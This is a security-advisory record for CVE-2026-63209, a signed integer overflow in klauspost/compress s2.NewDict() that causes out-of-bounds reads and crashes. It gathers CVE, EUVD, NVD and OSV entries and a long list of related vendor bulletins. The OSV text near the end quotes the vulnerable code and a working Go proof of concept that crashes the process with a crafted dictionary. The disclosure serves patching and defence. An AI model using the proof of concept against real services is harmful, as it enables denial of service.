{"id":"GHSA-259r-337f-4rfw","revision":null,"records":[{"revision":"b1e6ecec2a4e4a83b603a5e34fecaddb","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-63209","aliases":[],"title":"Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","state":0,"publishedAt":"2026-09-29T14:58:53.366+00:00","modifiedAt":"2026-09-29T16:32:32.677+00:00","affected":[{"ecosystem":"Vendor product","name":"compress","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"klauspost\",\n                    \"product\": \"compress\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.18.7\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","https://github.com/klauspost/compress/releases/tag/v1.18.7"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-63209","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-63209","identifiers":["CVE-2026-63209"]},"retained":false,"historicalAffected":[]},{"revision":"3892c6166b9049dc916f0c95e078465d","observedAt":"2026-11-07T13:29:09.975+00:00","statement":{"source":"euvd","id":"EUVD-2026-88977","aliases":["CVE-2026-63209","GHSA-259r-337f-4rfw"],"title":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat …","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw","https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","https://github.com/klauspost/compress/releases/tag/v1.18.7"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-88977","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 29, 2026, 2:58:53 PM","dateUpdated":"Sep 29, 2026, 4:32:32 PM"},"relatedAdvisories":[{"id":"SUSE-SU-2026:24277-1","title":"Security update for google-osconfig-agent","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:22134-1","title":"Security update for gh","vulnerabilityIds":["CVE-2026-41178","CVE-2026-59831","CVE-2026-63209","CVE-2026-72924","CVE-2026-78669","CVE-2026-84303","CVE-2026-84304","CVE-2026-84445"]},{"id":"openSUSE-SU-2026:22116-1","title":"Security update for hauler","vulnerabilityIds":["CVE-2026-53495","CVE-2026-63209"]},{"id":"RHSA-2026:92303","title":"Red Hat Security Advisory: multicluster engine for Kubernetes v2.8.12 security update","vulnerabilityIds":["CVE-2026-33818","CVE-2026-39822","CVE-2026-39834","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-84304","CVE-2026-93748","CVE-2026-106445","CVE-2026-106446"]},{"id":"RHSA-2026:68806","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-71557"]},{"id":"openSUSE-SU-2026:11939-1","title":"amazon-cloudwatch-agent-1.300073.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:92994","title":"Red Hat Security Advisory: OpenShift Container Platform 4.21.41 bug fix and security update","vulnerabilityIds":["CVE-2026-33814","CVE-2026-39825","CVE-2026-63209"]},{"id":"SUSE-SU-2026:24153-1","title":"Security update for distribution","vulnerabilityIds":["CVE-2026-63209"]},{"id":"SUSE-SU-2026:24120-1","title":"Security update for helm","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81870","CVE-2026-85732"]},{"id":"RHSA-2026:68717","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-56851","CVE-2026-63209","CVE-2026-81871","CVE-2026-81872","CVE-2026-93450"]},{"id":"RHSA-2026:72493","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-63209","CVE-2026-93450"]},{"id":"RHSA-2026:70726","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:89198","title":"Red Hat Security Advisory: OpenShift Container Platform 4.22.20 bug fix and security update","vulnerabilityIds":["CVE-2026-33814","CVE-2026-39821","CVE-2026-42502","CVE-2026-63209","CVE-2026-93017","CVE-2026-104795","CVE-2026-107176","CVE-2026-111943"]},{"id":"openSUSE-SU-2026:11957-1","title":"distribution-registry-3.1.1-9.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:72570","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-21729","CVE-2026-56851","CVE-2026-63209","CVE-2026-93450"]},{"id":"RHSA-2026:79368","title":"Red Hat Security Advisory: Red Hat OpenShift distributed tracing platform (Tempo) 3.11.2 release","vulnerabilityIds":["CVE-2026-63209","CVE-2026-83663","CVE-2026-84445","CVE-2026-94637"]},{"id":"RHSA-2026:72498","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-61709","CVE-2026-63209","CVE-2026-93450","CVE-2026-102422"]},{"id":"RHSA-2026:68729","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-56851","CVE-2026-63209","CVE-2026-81871","CVE-2026-81872","CVE-2026-93450"]},{"id":"openSUSE-SU-2026:12186-1","title":"rqlite-10.6.1-1.1 on GA media","vulnerabilityIds":["CVE-2026-63209","CVE-2026-84304","CVE-2026-84445","CVE-2026-89090"]},{"id":"RHSA-2026:72496","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2024-24786","CVE-2026-56851","CVE-2026-63209","CVE-2026-93450"]},{"id":"RHSA-2026:92510","title":"Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2023-54404","CVE-2026-11822","CVE-2026-11824","CVE-2026-13717","CVE-2026-16221","CVE-2026-17106","CVE-2026-18446","CVE-2026-25681","CVE-2026-26007","CVE-2026-27136","CVE-2026-33814","CVE-2026-33818","CVE-2026-39821","CVE-2026-39834","CVE-2026-41178","CVE-2026-42502","CVE-2026-45819","CVE-2026-45820","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57516","CVE-2026-59951","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-67312","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69097","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73643","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-76844","CVE-2026-77301","CVE-2026-78679","CVE-2026-82397","CVE-2026-83663","CVE-2026-84375","CVE-2026-84445","CVE-2026-85393","CVE-2026-85525","CVE-2026-87018","CVE-2026-90711","CVE-2026-91990","CVE-2026-92599","CVE-2026-93690","CVE-2026-93749","CVE-2026-94637","CVE-2026-96640","CVE-2026-96643","CVE-2026-96644","CVE-2026-96778","CVE-2026-96804","CVE-2026-97687","CVE-2026-97689","CVE-2026-102267","CVE-2026-102271","CVE-2026-102272","CVE-2026-102276","CVE-2026-102278","CVE-2026-102282","CVE-2026-104150","CVE-2026-104851","CVE-2026-105922","CVE-2026-106445","CVE-2026-106446","CVE-2026-109156","CVE-2026-109383","CVE-2026-109527","CVE-2026-109829","CVE-2026-109869","CVE-2026-109956","CVE-2026-110856","CVE-2026-110857","CVE-2026-110858","CVE-2026-110859","CVE-2026-111064","CVE-2026-111066","CVE-2026-111497","CVE-2026-112390","CVE-2026-112391","CVE-2026-112392","CVE-2026-112397","CVE-2026-112399","CVE-2026-112400","CVE-2026-112402","CVE-2026-112404","CVE-2026-112405","CVE-2026-112893","CVE-2026-112894","CVE-2026-112895","CVE-2026-112896","CVE-2026-112897","CVE-2026-112940","CVE-2026-114145"]},{"id":"openSUSE-SU-2026:11955-1","title":"cadvisor-0.60.6-1.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:12163-1","title":"gh-2.102.0-1.1 on GA media","vulnerabilityIds":["CVE-2026-41178","CVE-2026-59831","CVE-2026-63209","CVE-2026-72924","CVE-2026-78669","CVE-2026-84304","CVE-2026-84445"]},{"id":"openSUSE-SU-2026:22117-1","title":"Security update for cadvisor","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:70670","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:11964-1","title":"helm3-3.22.0-3.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:54419","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:92307","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.14 security update","vulnerabilityIds":["CVE-2026-14199","CVE-2026-15815","CVE-2026-33818","CVE-2026-37236","CVE-2026-39834","CVE-2026-56853","CVE-2026-56854","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-77354","CVE-2026-77405","CVE-2026-77411","CVE-2026-84304","CVE-2026-84375","CVE-2026-84445","CVE-2026-88031","CVE-2026-93748","CVE-2026-106445","CVE-2026-106446"]},{"id":"RHSA-2026:68272","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81872","CVE-2026-93450"]},{"id":"SUSE-SU-2026:24282-1","title":"Security update for helm","vulnerabilityIds":["CVE-2026-33814","CVE-2026-35204","CVE-2026-35205","CVE-2026-35206","CVE-2026-41178","CVE-2026-41888","CVE-2026-48978","CVE-2026-50151","CVE-2026-50163","CVE-2026-56852","CVE-2026-56854","CVE-2026-56855","CVE-2026-56864","CVE-2026-56865","CVE-2026-63209","CVE-2026-78662","CVE-2026-81870","CVE-2026-81871","CVE-2026-81872","CVE-2026-85732"]},{"id":"SUSE-SU-2026:24247-1","title":"Security update for helm","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81870","CVE-2026-85732"]},{"id":"openSUSE-SU-2026:11961-1","title":"google-osconfig-agent-20260928.01-1.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:87410","title":"Red Hat Security Advisory: RHOAI 2.25.12 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-12224","CVE-2025-14920","CVE-2025-14921","CVE-2025-14924","CVE-2025-14925","CVE-2025-14926","CVE-2025-14927","CVE-2025-14928","CVE-2025-14929","CVE-2025-14930","CVE-2025-61726","CVE-2025-61729","CVE-2026-5241","CVE-2026-5497","CVE-2026-6734","CVE-2026-8643","CVE-2026-9697","CVE-2026-11822","CVE-2026-11824","CVE-2026-12151","CVE-2026-12860","CVE-2026-15143","CVE-2026-15574","CVE-2026-15679","CVE-2026-15925","CVE-2026-16221","CVE-2026-18427","CVE-2026-18446","CVE-2026-18949","CVE-2026-19481","CVE-2026-19484","CVE-2026-19534","CVE-2026-25681","CVE-2026-25960","CVE-2026-27136","CVE-2026-28390","CVE-2026-28684","CVE-2026-31812","CVE-2026-32283","CVE-2026-33186","CVE-2026-33805","CVE-2026-33811","CVE-2026-33814","CVE-2026-34993","CVE-2026-39821","CVE-2026-39852","CVE-2026-39892","CVE-2026-40682","CVE-2026-41178","CVE-2026-42502","CVE-2026-42561","CVE-2026-44431","CVE-2026-44432","CVE-2026-44660","CVE-2026-44705","CVE-2026-45820","CVE-2026-47219","CVE-2026-48526","CVE-2026-48710","CVE-2026-48746","CVE-2026-49114","CVE-2026-49825","CVE-2026-49855","CVE-2026-50559","CVE-2026-54283","CVE-2026-54399","CVE-2026-54428","CVE-2026-55831","CVE-2026-55833","CVE-2026-56121","CVE-2026-56746","CVE-2026-56819","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-58059","CVE-2026-59296","CVE-2026-59879","CVE-2026-59884","CVE-2026-59885","CVE-2026-59886","CVE-2026-59899","CVE-2026-62243","CVE-2026-62384","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-65918","CVE-2026-66007","CVE-2026-67213","CVE-2026-67214","CVE-2026-67312","CVE-2026-68494","CVE-2026-68497","CVE-2026-68770","CVE-2026-69097","CVE-2026-69112","CVE-2026-69152","CVE-2026-69153","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73415","CVE-2026-73417","CVE-2026-73502","CVE-2026-73508","CVE-2026-73620","CVE-2026-73622","CVE-2026-73623","CVE-2026-73624","CVE-2026-73625","CVE-2026-73627","CVE-2026-73646","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76098","CVE-2026-76169","CVE-2026-76172","CVE-2026-76222","CVE-2026-76905","CVE-2026-77354","CVE-2026-77874","CVE-2026-78676","CVE-2026-78677","CVE-2026-78679","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81727","CVE-2026-82397","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84782","CVE-2026-84961","CVE-2026-85124","CVE-2026-85152","CVE-2026-85525","CVE-2026-86049","CVE-2026-86332","CVE-2026-87776","CVE-2026-87817","CVE-2026-87819","CVE-2026-88029","CVE-2026-88031","CVE-2026-89418","CVE-2026-89425","CVE-2026-91777","CVE-2026-91990","CVE-2026-92599","CVE-2026-93599","CVE-2026-93657","CVE-2026-93749","CVE-2026-96749","CVE-2026-102831","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-103262","CVE-2026-104851","CVE-2026-105744"]},{"id":"RHSA-2026:86891","title":"Red Hat Security Advisory: RHOAI 3.5.2 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-14029","CVE-2026-13697","CVE-2026-15679","CVE-2026-15789","CVE-2026-18427","CVE-2026-19534","CVE-2026-37237","CVE-2026-49825","CVE-2026-49855","CVE-2026-54284","CVE-2026-56859","CVE-2026-59296","CVE-2026-59893","CVE-2026-62243","CVE-2026-62384","CVE-2026-63209","CVE-2026-63374","CVE-2026-66007","CVE-2026-68494","CVE-2026-68497","CVE-2026-69097","CVE-2026-69112","CVE-2026-69152","CVE-2026-69243","CVE-2026-69244","CVE-2026-71281","CVE-2026-71491","CVE-2026-73417","CVE-2026-73502","CVE-2026-73508","CVE-2026-73646","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76098","CVE-2026-76169","CVE-2026-76172","CVE-2026-76222","CVE-2026-76905","CVE-2026-77354","CVE-2026-77874","CVE-2026-78676","CVE-2026-78677","CVE-2026-78679","CVE-2026-78682","CVE-2026-79674","CVE-2026-79675","CVE-2026-80205","CVE-2026-81722","CVE-2026-81724","CVE-2026-81725","CVE-2026-81726","CVE-2026-81727","CVE-2026-82397","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84381","CVE-2026-84382","CVE-2026-84394","CVE-2026-84428","CVE-2026-84445","CVE-2026-84469","CVE-2026-84504","CVE-2026-84782","CVE-2026-84961","CVE-2026-85124","CVE-2026-85152","CVE-2026-85525","CVE-2026-86332","CVE-2026-87776","CVE-2026-87817","CVE-2026-87819","CVE-2026-88029","CVE-2026-88031","CVE-2026-89425","CVE-2026-91990","CVE-2026-93348","CVE-2026-93599","CVE-2026-93657","CVE-2026-93749","CVE-2026-96749","CVE-2026-96775","CVE-2026-102925","CVE-2026-102930","CVE-2026-102937","CVE-2026-102938","CVE-2026-102990","CVE-2026-104851","CVE-2026-104852","CVE-2026-104861","CVE-2026-104873"]},{"id":"RHSA-2026:70031","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:22140-1","title":"Security update for aliyun-cli","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:68808","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-71557"]},{"id":"openSUSE-SU-2026:22227-1","title":"Security update for go-containerregistry","vulnerabilityIds":["CVE-2025-22868","CVE-2026-116591","CVE-2026-63209"]},{"id":"SUSE-SU-2026:24131-1","title":"Security update for google-osconfig-agent","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:83013","title":"Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.0.17","vulnerabilityIds":["CVE-2026-18140","CVE-2026-25681","CVE-2026-27136","CVE-2026-29181","CVE-2026-32283","CVE-2026-32285","CVE-2026-33186","CVE-2026-33818","CVE-2026-35469","CVE-2026-41178","CVE-2026-42151","CVE-2026-42154","CVE-2026-42499","CVE-2026-42502","CVE-2026-46600","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-84445"]},{"id":"RHSA-2026:95081","title":"Red Hat Security Advisory: Cluster Observability Operator - 1.5","vulnerabilityIds":["CVE-2026-19534","CVE-2026-27145","CVE-2026-33818","CVE-2026-39821","CVE-2026-39822","CVE-2026-39834","CVE-2026-42504","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77301","CVE-2026-82417","CVE-2026-84292","CVE-2026-84304","CVE-2026-84375","CVE-2026-84445","CVE-2026-84961","CVE-2026-85152","CVE-2026-87018","CVE-2026-102276","CVE-2026-102278","CVE-2026-109383","CVE-2026-109829","CVE-2026-109855","CVE-2026-109869"]},{"id":"SUSE-SU-2026:24261-1","title":"Security update for aliyun-cli","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:72491","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-93450"]},{"id":"RHSA-2026:72507","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81842","CVE-2026-93450","CVE-2026-102422"]},{"id":"RHSA-2026:54413","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:22224-1","title":"Security update for rqlite","vulnerabilityIds":["CVE-2026-39821","CVE-2026-63209","CVE-2026-84303","CVE-2026-84304","CVE-2026-84445","CVE-2026-89090"]},{"id":"RHSA-2026:92593","title":"Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2","vulnerabilityIds":["CVE-2026-41178","CVE-2026-42499","CVE-2026-63209","CVE-2026-77619","CVE-2026-84304","CVE-2026-84445"]},{"id":"openSUSE-SU-2026:22039-1","title":"Security update for distribution","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:58472","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-56851","CVE-2026-63209"]},{"id":"RHSA-2026:94498","title":"Red Hat Security Advisory: Red Hat OpenShift API for Data Protection - 1.4.12","vulnerabilityIds":["CVE-2026-27145","CVE-2026-32283","CVE-2026-33818","CVE-2026-39821","CVE-2026-39833","CVE-2026-39834","CVE-2026-41178","CVE-2026-42504","CVE-2026-56852","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-63209","CVE-2026-84445"]},{"id":"RHSA-2026:72492","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-93450","CVE-2026-104994"]},{"id":"RHSA-2026:70684","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:92515","title":"Red Hat Security Advisory: Logging for Red Hat OpenShift - 6.6.2","vulnerabilityIds":["CVE-2026-41178","CVE-2026-42499","CVE-2026-63209","CVE-2026-77619","CVE-2026-84304","CVE-2026-84445"]},{"id":"openSUSE-SU-2026:22057-1","title":"Security update for helm","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81870","CVE-2026-85732"]},{"id":"RHSA-2026:72497","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-9496","CVE-2026-63209","CVE-2026-93450"]},{"id":"openSUSE-SU-2026:11962-1","title":"hauler-2.1.1-1.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:68591","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81872","CVE-2026-93450"]},{"id":"openSUSE-SU-2026:11960-1","title":"crane-0.22.1-2.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:11953-1","title":"aliyun-cli-3.5.1-2.1 on GA media","vulnerabilityIds":["CVE-2026-63209"]},{"id":"SUSE-SU-2026:24222-1","title":"Security update for google-osconfig-agent","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:72490","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-93450"]},{"id":"msrc_CVE-2026-63209","title":"Integer Overflow or Wraparound and Out-of-bounds Write in compress","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:12114-1","title":"alloy-1.20.1-1.1 on GA media","vulnerabilityIds":["CVE-2026-14362","CVE-2026-63209","CVE-2026-81871","CVE-2026-81872","CVE-2026-84303","CVE-2026-84304","CVE-2026-84445"]},{"id":"openSUSE-SU-2026:22078-1","title":"Security update for google-osconfig-agent","vulnerabilityIds":["CVE-2026-63209"]},{"id":"RHSA-2026:68290","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209","CVE-2026-77403","CVE-2026-77404","CVE-2026-77406","CVE-2026-77407","CVE-2026-77409","CVE-2026-77410","CVE-2026-77412","CVE-2026-81872","CVE-2026-93450"]},{"id":"SUSE-SU-2026:4554-1","title":"Security update for google-osconfig-agent","vulnerabilityIds":["CVE-2026-63209"]},{"id":"openSUSE-SU-2026:11963-1","title":"helm-4.3.0-4.1 on GA media","vulnerabilityIds":["CVE-2026-63209","CVE-2026-81870"]},{"id":"RHSA-2026:68256","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","vulnerabilityIds":["CVE-2026-63209"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-88977","identifiers":["EUVD-2026-88977","CVE-2026-63209","GHSA-259r-337f-4rfw"]},"retained":false,"historicalAffected":[]},{"revision":"1769b7dd0fa345099411829bf13c9e02","observedAt":"2026-10-25T14:19:28.838+00:00","statement":{"source":"nvd","id":"CVE-2026-63209","aliases":[],"title":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat …","description":"compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via unsafe.Pointer arithmetic, crashing the process with SIGSEGV. This issue has been patched in version 1.18.7.","state":0,"publishedAt":"2026-09-29T15:17:27.13+00:00","modifiedAt":"2026-09-30T19:57:08.043+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/klauspost/compress/commit/539243b8823ee8f03e49969823d57c348c917536","https://github.com/klauspost/compress/releases/tag/v1.18.7","https://github.com/klauspost/compress/security/advisories/GHSA-259r-337f-4rfw"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63209","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-190","CWE-787"],"productCriteria":[],"sourceDates":{"published":"2026-09-29T15:17:27.130","lastModified":"2026-09-30T19:57:08.043"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-63209","identifiers":["CVE-2026-63209"]},"retained":false,"historicalAffected":[]},{"revision":"0a8faae33728454ba660aef52c59fdd1","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-259r-337f-4rfw","aliases":["CVE-2026-63209","GO-2026-5841"],"title":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** <= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat > len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 